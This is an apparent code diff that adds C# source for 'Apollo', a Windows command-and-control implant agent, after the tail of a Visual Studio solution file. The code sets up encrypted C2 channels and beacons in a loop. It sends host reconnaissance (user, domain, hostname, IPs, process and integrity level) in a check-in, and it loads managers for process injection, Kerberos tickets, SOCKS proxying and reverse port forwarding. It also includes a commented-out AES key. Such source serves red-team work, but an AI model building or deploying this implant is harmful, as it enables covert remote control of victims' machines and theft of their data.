{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.Build.0 = Release|Any CPU
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.ActiveCfg = Release|x64
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.Build.0 = Release|x64
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.ActiveCfg = Release|x86
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.Build.0 = Release|x86
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.Build.0 = Debug|Any CPU
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.ActiveCfg = Debug|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.Build.0 = Debug|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.ActiveCfg = Debug|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.Build.0 = Debug|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.ActiveCfg = Release|Any CPU
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.Build.0 = Release|Any CPU
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.ActiveCfg = Release|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.Build.0 = Release|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.ActiveCfg = Release|x86
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.Build.0 = Release|x86
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.ActiveCfg = Debug|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.Build.0 = Debug|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.ActiveCfg = Debug|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.Build.0 = Debug|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.Build.0 = Release|Any CPU
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.ActiveCfg = Release|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.Build.0 = Release|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.ActiveCfg = Release|x86
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.Build.0 = Release|x86
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.ActiveCfg = Debug|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.Build.0 = Debug|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.ActiveCfg = Debug|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.Build.0 = Debug|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.Build.0 = Release|Any CPU
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.ActiveCfg = Release|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.Build.0 = Release|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.ActiveCfg = Release|x86
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.Build.0 = Release|x86
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.ActiveCfg = Debug|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.Build.0 = Debug|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.ActiveCfg = Debug|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.Build.0 = Debug|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.Build.0 = Release|Any CPU
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.ActiveCfg = Release|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.Build.0 = Release|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.ActiveCfg = Release|x86
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.Build.0 = Release|x86
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.ActiveCfg = Debug|x64
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.Build.0 = Debug|x64
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.ActiveCfg = Debug|x64
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.Build.0 = Debug|x64
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.Build.0 = Release|Any CPU
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.ActiveCfg = Release|x64
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.Build.0 = Release|x64
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.ActiveCfg = Release|x86
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.Build.0 = Release|x86
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.Build.0 = Debug|Any CPU
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.ActiveCfg = Debug|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.Build.0 = Debug|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.ActiveCfg = Debug|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.Build.0 = Debug|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.ActiveCfg = Release|Any CPU
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.Build.0 = Release|Any CPU
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.ActiveCfg = Release|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.Build.0 = Release|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.ActiveCfg = Release|x86
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.Build.0 = Release|x86
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.ActiveCfg = Debug|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.Build.0 = Debug|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.ActiveCfg = Debug|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.Build.0 = Debug|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.Build.0 = Release|Any CPU
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.ActiveCfg = Release|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.Build.0 = Release|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.ActiveCfg = Release|x86
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.Build.0 = Release|x86
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.Build.0 = Debug|Any CPU
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.ActiveCfg = Debug|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.Build.0 = Debug|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.ActiveCfg = Debug|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.Build.0 = Debug|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.ActiveCfg = Release|Any CPU
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.Build.0 = Release|Any CPU
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.ActiveCfg = Release|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.Build.0 = Release|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.ActiveCfg = Release|x86
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.Build.0 = Release|x86
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.ActiveCfg = Debug|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.Build.0 = Debug|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.ActiveCfg = Debug|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.Build.0 = Debug|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.Build.0 = Release|Any CPU
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.ActiveCfg = Release|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.Build.0 = Release|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.ActiveCfg = Release|x86
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.Build.0 = Release|x86
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.ActiveCfg = Debug|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.Build.0 = Debug|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.ActiveCfg = Debug|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.Build.0 = Debug|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.Build.0 = Release|Any CPU
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.ActiveCfg = Release|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.Build.0 = Release|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.ActiveCfg = Release|x86
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.Build.0 = Release|x86
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.Build.0 = Debug|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.ActiveCfg = Debug|x64
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.Build.0 = Debug|x64
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.ActiveCfg = Debug|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.Build.0 = Debug|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.ActiveCfg = Release|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.Build.0 = Release|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.ActiveCfg = Release|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.Build.0 = Release|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.ActiveCfg = Release|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.Build.0 = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.ActiveCfg = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.Build.0 = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.ActiveCfg = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.Build.0 = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.Build.0 = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.ActiveCfg = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.Build.0 = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.ActiveCfg = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.Build.0 = Release|Any CPU
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.ActiveCfg = Debug|x64
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.Build.0 = Debug|x64
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.ActiveCfg = Debug|x86
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.Build.0 = Debug|x86
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.Build.0 = Release|Any CPU
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.ActiveCfg = Release|x64
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.Build.0 = Release|x64
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.ActiveCfg = Release|x86
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.Build.0 = Release|x86
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|Any CPU.ActiveCfg = Debug|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x64.ActiveCfg = Debug|x64
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.ActiveCfg = Debug|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.Build.0 = Debug|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|Any CPU.ActiveCfg = Debug|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x64.ActiveCfg = Release|x64
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.ActiveCfg = Release|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.Build.0 = Release|Win32
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.Build.0 = Debug|Any CPU
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.ActiveCfg = Debug|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.Build.0 = Debug|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.ActiveCfg = Release|Any CPU
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.Build.0 = Release|Any CPU
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.ActiveCfg = Release|x86
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.Build.0 = Release|x86
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x64.ActiveCfg = Debug|x64
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x64.Build.0 = Debug|x64
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x86.ActiveCfg = Debug|x86
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x86.Build.0 = Debug|x86
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|Any CPU.Build.0 = Release|Any CPU
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x64.ActiveCfg = Release|x64
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x64.Build.0 = Release|x64
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x86.ActiveCfg = Release|x86
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x86.Build.0 = Release|x86
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|Any CPU.Build.0 = Debug|Any CPU
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x64.ActiveCfg = Debug|x64
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x64.Build.0 = Debug|x64
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x86.ActiveCfg = Debug|x86
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x86.Build.0 = Debug|x86
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|Any CPU.ActiveCfg = Release|Any CPU
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|Any CPU.Build.0 = Release|Any CPU
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x64.ActiveCfg = Release|x64
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x64.Build.0 = Release|x64
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x86.ActiveCfg = Release|x86
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x86.Build.0 = Release|x86
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {A35FB84A-D206-4916-ACEE-A747AE767E76}
EndGlobalSection
EndGlobal

View File

@@ -0,0 +1,175 @@
using System;
using System.Linq;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using AM = Apollo.Management;
using System.Net;
using System.Net.Sockets;
using Microsoft.Win32;
using System.Net.NetworkInformation;
using System.Collections.Generic;
using System.IO;
namespace Apollo.Agent
{
public class Apollo : ApolloInterop.Classes.Agent
{
public Apollo(string uuid) : base(uuid)
{
Api = new Api.Api();
C2ProfileManager = new AM.C2.C2ProfileManager(this);
PeerManager = new AM.Peer.PeerManager(this);
SocksManager = new AM.Socks.SocksManager(this);
RpfwdManager = new AM.Rpfwd.RpfwdManager(this);
TaskManager = new AM.Tasks.TaskManager(this);
FileManager = new AM.Files.FileManager(this);
IdentityManager = new AM.Identity.IdentityManager(this);
ProcessManager = new Process.ProcessManager(this);
InjectionManager = new Injection.InjectionManager(this);
TicketManager = new KerberosTickets.KerberosTicketManager(this);
foreach (string profileName in Config.EgressProfiles.Keys)
{
var map = Config.EgressProfiles[profileName];
var crypto = CreateType(map.TCryptography, new object[] { Config.PayloadUUID, Config.StagingRSAPrivateKey });
var serializer = CreateType(map.TSerializer, new object[] { crypto });
var c2 = CreateType(map.TC2Profile, new object[]
{
map.Parameters,
(ISerializer)serializer,
this
});
C2ProfileManager.AddEgress((IC2Profile)c2);
}
if (C2ProfileManager.GetEgressCollection().Length == 0)
{
throw new Exception("No egress profiles specified.");
}
foreach (string profileName in Config.IngressProfiles.Keys)
{
var map = Config.EgressProfiles[profileName];
var crypto = CreateType(map.TCryptography, new object[] { Config.PayloadUUID, Config.StagingRSAPrivateKey });
var serializer = CreateType(map.TSerializer, new object[] { crypto });
var c2 = CreateType(map.TC2Profile, new object[]
{
map.Parameters,
(ISerializer)serializer,
this
});
C2ProfileManager.AddIngress((IC2Profile)c2);
}
}
public override void Start()
{
while (Alive)
{
if (Checkin())
{
IC2Profile[] c2s = C2ProfileManager.GetConnectedEgressCollection();
foreach(var c2 in c2s)
{
c2.Start();
}
}
System.Threading.Thread.Sleep(1000);
}
}
private static string[] GetIPs()
{
var ifaces = NetworkInterface.GetAllNetworkInterfaces()
.Where(iface =>
iface.OperationalStatus == OperationalStatus.Up && iface.NetworkInterfaceType != NetworkInterfaceType.Loopback
)
.OrderBy(iface => iface.GetIPProperties().GatewayAddresses.ToArray().Length); // Push interfaces with a gateway to the front
var ipaddrs = new List<string>();
foreach (var iface in ifaces)
{
var addrs = iface.GetIPProperties().UnicastAddresses;
// Put the IPv4 addresses before the IPv6 addresses
ipaddrs.AddRange(
addrs.Where(addr => addr.Address.AddressFamily == AddressFamily.InterNetwork)
.Select(addr => addr.Address.ToString())
);
ipaddrs.AddRange(
addrs.Where(addr => addr.Address.AddressFamily == AddressFamily.InterNetworkV6)
.Select(addr => addr.Address.ToString())
);
}
return [.. ipaddrs];
}
private static string GetOSVersion()
{
return Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName", "").ToString() + " " + Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ReleaseId", "");
}
private bool Checkin()
{
CheckinMessage msg = new CheckinMessage()
{
Action = "checkin",
OS = $"{GetOSVersion()} {Environment.OSVersion.Version}",
User = Environment.UserName,
Host = Dns.GetHostName(),
PID = System.Diagnostics.Process.GetCurrentProcess().Id,
ProcessName = System.Diagnostics.Process.GetCurrentProcess().ProcessName,
IPs = GetIPs(),
UUID = UUID,
Architecture = IntPtr.Size == 8 ? "x64" : "x86",
Domain = Environment.UserDomainName,
// Modify this later.
IntegrityLevel = IdentityManager.GetIntegrityLevel(),
ExternalIP = "",
Cwd= Directory.GetCurrentDirectory(),
};
IC2Profile connectProfile = null;
bool bRet = false;
foreach(var profile in C2ProfileManager.GetEgressCollection())
{
try
{
if (profile.Connect(msg, delegate (MessageResponse r)
{
connectProfile = profile;
UUID = r.ID;
bRet = true;
return bRet;
}))
{
break;
}
} catch(Exception ex)
{
}
}
return bRet;
}
private object CreateType(Type t, object[] args)
{
var ctors = t.GetConstructors();
return ctors[0].Invoke(args);
}
public override void Exit()
{
base.Exit();
}
}
}

View File

@@ -0,0 +1,74 @@
using ApolloInterop.Interfaces;
using System;
using ApolloInterop.Classes;
using PlaintextCryptography;
using PSKCryptography;
using ApolloInterop.Serializers;
using ApolloInterop.Classes.Api;
using SimpleResolver;
namespace Apollo.Api
{
public class Api : IApi
{
private IWin32ApiResolver _win32ApiResolver;
public Api()
{
_win32ApiResolver = new GetProcResolver();
}
public string NewUUID()
{
return Guid.NewGuid().ToString();
}
public RSAKeyGenerator NewRSAKeyPair(int szKey)
{
return new Cryptography.RSA.RSAKeyPair(szKey);
}
public ICryptographySerializer NewEncryptedJsonSerializer(string uuid, Type cryptoType, string key = "")
{
if (string.IsNullOrEmpty(key))
{
Cryptography.RSA.RSAKeyPair keys = new Cryptography.RSA.RSAKeyPair(4096);
key = keys.PrivateKey;
}
//string aesKey = "ACstCeIXHEqdn/QM3YsAX24yfRUX6JBtOdhkAwnfQrw=";
//string uuid = "9f006dd8-7036-455b-99ed-d0b5f19ba921";
EncryptedJsonSerializer result;
if (cryptoType == typeof(PlaintextCryptographyProvider))
{
PlaintextCryptographyProvider plain = new PlaintextCryptographyProvider(uuid, key);
result = new EncryptedJsonSerializer(plain);
} else if (cryptoType == typeof(PSKCryptographyProvider))
{
PSKCryptographyProvider psk = new PSKCryptographyProvider(uuid, key);
result = new EncryptedJsonSerializer(psk);
}
else
{
throw new ArgumentException($"Unsupported cryptography type: {cryptoType.Name}");
}
return result;
}
public T GetLibraryFunction<T>(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate
{
return _win32ApiResolver.GetLibraryFunction<T>(library, functionName, canLoadFromDisk, resolveForwards);
}
public T GetLibraryFunction<T>(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate
{
return _win32ApiResolver.GetLibraryFunction<T>(library, ordinal, canLoadFromDisk, resolveForwards);
}
public T GetLibraryFunction<T>(Library library, string functionHash, long key, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate
{
return _win32ApiResolver.GetLibraryFunction<T>(library, functionHash, key, canLoadFromDisk, resolveForwards);
}
}
}

View File

@@ -0,0 +1,180 @@
using System;
using System.IO;
using System.Security.Cryptography;
using ApolloInterop.Classes;
namespace Apollo.Api.Cryptography
{
public static class RSA
{
public class RSAKeyPair : RSAKeyGenerator
{
public string PublicKey;
public string PrivateKey;
public RSAKeyPair(int szKey) : base(szKey)
{
RSA = new RSACryptoServiceProvider(szKey)
{
PersistKeyInCsp = false
};
PublicKey = ExportPublicKey();
PrivateKey = ExportPrivateKey();
}
public RSAKeyPair(RSACryptoServiceProvider provider) : base(provider)
{
PublicKey = ExportPublicKey();
PrivateKey = ExportPrivateKey();
}
public override String ExportPrivateKey()
{
TextWriter outputStream = new StringWriter();
if (RSA.PublicOnly) throw new ArgumentException("CSP does not contain a private key", "csp");
var parameters = RSA.ExportParameters(true);
using (var stream = new MemoryStream())
{
var writer = new BinaryWriter(stream);
writer.Write((byte)0x30); // SEQUENCE
using (var innerStream = new MemoryStream())
{
var innerWriter = new BinaryWriter(innerStream);
EncodeIntegerBigEndian(innerWriter, new byte[] { 0x00 }); // Version
EncodeIntegerBigEndian(innerWriter, parameters.Modulus);
EncodeIntegerBigEndian(innerWriter, parameters.Exponent);
EncodeIntegerBigEndian(innerWriter, parameters.D);
EncodeIntegerBigEndian(innerWriter, parameters.P);
EncodeIntegerBigEndian(innerWriter, parameters.Q);
EncodeIntegerBigEndian(innerWriter, parameters.DP);
EncodeIntegerBigEndian(innerWriter, parameters.DQ);
EncodeIntegerBigEndian(innerWriter, parameters.InverseQ);
var length = (int)innerStream.Length;
EncodeLength(writer, length);
writer.Write(innerStream.GetBuffer(), 0, length);
}
var base64 = Convert.ToBase64String(stream.GetBuffer(), 0, (int)stream.Length).ToCharArray();
outputStream.WriteLine("-----BEGIN RSA PRIVATE KEY-----");
// Output as Base64 with lines chopped at 64 characters
for (var i = 0; i < base64.Length; i += 64)
{
outputStream.WriteLine(base64, i, Math.Min(64, base64.Length - i));
}
outputStream.WriteLine("-----END RSA PRIVATE KEY-----");
}
